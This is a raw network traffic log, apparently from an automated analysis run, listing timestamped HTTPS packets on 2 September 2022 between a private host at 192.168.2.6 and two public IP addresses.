Sep 2, 2022 14:03:17.401994944 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.402014017 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.402128935 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.402159929 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.402211905 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.402218103 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.402228117 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.402249098 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.402260065 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.402297020 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.402303934 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.403480053 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.403573990 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.403588057 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.403613091 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.403645992 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.407989025 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.408040047 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.408083916 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.408086061 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.408126116 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.408139944 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.408169031 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.408178091 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.408183098 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.408217907 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.408286095 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.409145117 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.409203053 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.409239054 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.409257889 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.409288883 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.409907103 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.409945965 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.409979105 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.409996986 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.410026073 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.411484957 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.411534071 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.411629915 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.411653042 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.411664963 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.412002087 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.412046909 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.412069082 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.412082911 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.412103891 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.414032936 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.414102077 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.414108038 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.414144039 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.414177895 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.414201021 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.414247036 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.414254904 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.414288998 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.414318085 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.415597916 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.415698051 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.415719986 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.415764093 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.415771961 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.415783882 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.415834904 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.417896032 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.417984009 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.420928955 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.421014071 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.427942038 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.427990913 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.428037882 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.428042889 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.428073883 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.428088903 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.428093910 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.431807995 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.431899071 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.431914091 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.515901089 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.559367895 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.611738920 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.632977962 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.632988930 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.633032084 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.633069992 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.633078098 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.633089066 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.633116007 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.633126020 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.633152962 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.633164883 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.633974075 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.634031057 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.634033918 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.634063005 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.634083033 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.636169910 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.636179924 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.636226892 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.636240005 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.636251926 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.636336088 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.636960983 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.637012005 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.637013912 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.637058973 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.637867928 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.637907982 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.637943983 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.637950897 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.637984991 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.638334990 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.638369083 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.638400078 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.638406992 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.638453960 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.639734983 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.639791012 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.639805079 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.639818907 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.639842033 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.640130043 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.640182972 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.640189886 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.640546083 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.640748024 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.640754938 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.644591093 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.644680977 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.644697905 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.645860910 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.645886898 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.645925999 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.645937920 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.645961046 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.646352053 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.646409988 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.646415949 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.647499084 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.647542953 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.647559881 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.647567987 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.647577047 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.648813963 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.648873091 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.648881912 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.650643110 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.650703907 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.650703907 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.650729895 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.650753975 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.651323080 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.651376963 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.651402950 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.651411057 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.651437998 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.653918982 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.653935909 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.653999090 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.654594898 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.654659986 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.654660940 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.654683113 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.654715061 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.655447960 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.659584045 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.659626007 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.659679890 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.659684896 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.659709930 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.659723043 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.659744978 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.660609961 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.660701990 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.661369085 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.661515951 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.665561914 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.665649891 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.665661097 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.665677071 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.665707111 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.665726900 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.665949106 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.665998936 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.666023016 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.666029930 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.666069984 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.668590069 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.668661118 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.668678999 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.668703079 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.668725014 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.670568943 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.670629978 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.670634031 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.670648098 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.670670033 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.673016071 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.673086882 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.673096895 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.674052000 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.674751997 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.674761057 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.677366018 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.677454948 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.698618889 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.698642015 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.698661089 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.698676109 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.698756933 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.698837042 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.702409029 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.702558994 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.744988918 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.745050907 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.745095015 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.745119095 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.745131969 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.745142937 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.745178938 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.745934963 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.745976925 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.746011972 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.746033907 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.746328115 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.747114897 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.748182058 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.748219967 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.748260975 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.748292923 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.748348951 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.749444962 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.762468100 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.762497902 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.762542009 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.762563944 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.762610912 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.762857914 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.764024973 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.764079094 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.764118910 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.764130116 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.764173985 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.867816925 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.867852926 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.867938995 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.867978096 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.867983103 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.868005991 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.868026972 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.868072987 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.869362116 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.869467974 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.869534016 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.869554996 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.870582104 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.870624065 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.870672941 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.870688915 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.870840073 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.871485949 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.872212887 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.872256041 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.872312069 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.872330904 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.872380018 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.872631073 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.872669935 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.872746944 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.872766018 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.872798920 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.872806072 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.872848034 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.872881889 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.872891903 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.872963905 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.872970104 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.873002052 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.873064995 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.873086929 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.873120070 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.873162985 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.873192072 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.873198986 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.873229980 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.873734951 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.873761892 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.873800039 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.873826027 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.873837948 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.873867035 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.873883009 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.873927116 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.874651909 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.875015020 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.875102997 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.875114918 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.875334978 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.875385046 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.875396013 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.875396967 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.875408888 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.875432968 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.875432968 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.875457048 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.875474930 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.875520945 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.876189947 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.876939058 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.877033949 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.877041101 CEST	443	49826	172.217.168.36	192.168.2.6
Sep 2, 2022 14:03:17.877085924 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.878931999 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.880079031 CEST	49826	443	192.168.2.6	172.217.168.36
Sep 2, 2022 14:03:17.886796951 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.886831999 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.886934042 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.886960030 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.886998892 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.887099981 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.887124062 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.887171030 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.887178898 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.887212992 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.887342930 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.887412071 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.887439013 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.887449980 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.887475967 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.887491941 CEST	443	49824	104.21.40.196	192.168.2.6
Sep 2, 2022 14:03:17.887552023 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.969743967 CEST	49824	443	192.168.2.6	104.21.40.196
Sep 2, 2022 14:03:17.969778061 CEST	443	49824	104.21.40.196	192.168.2.6
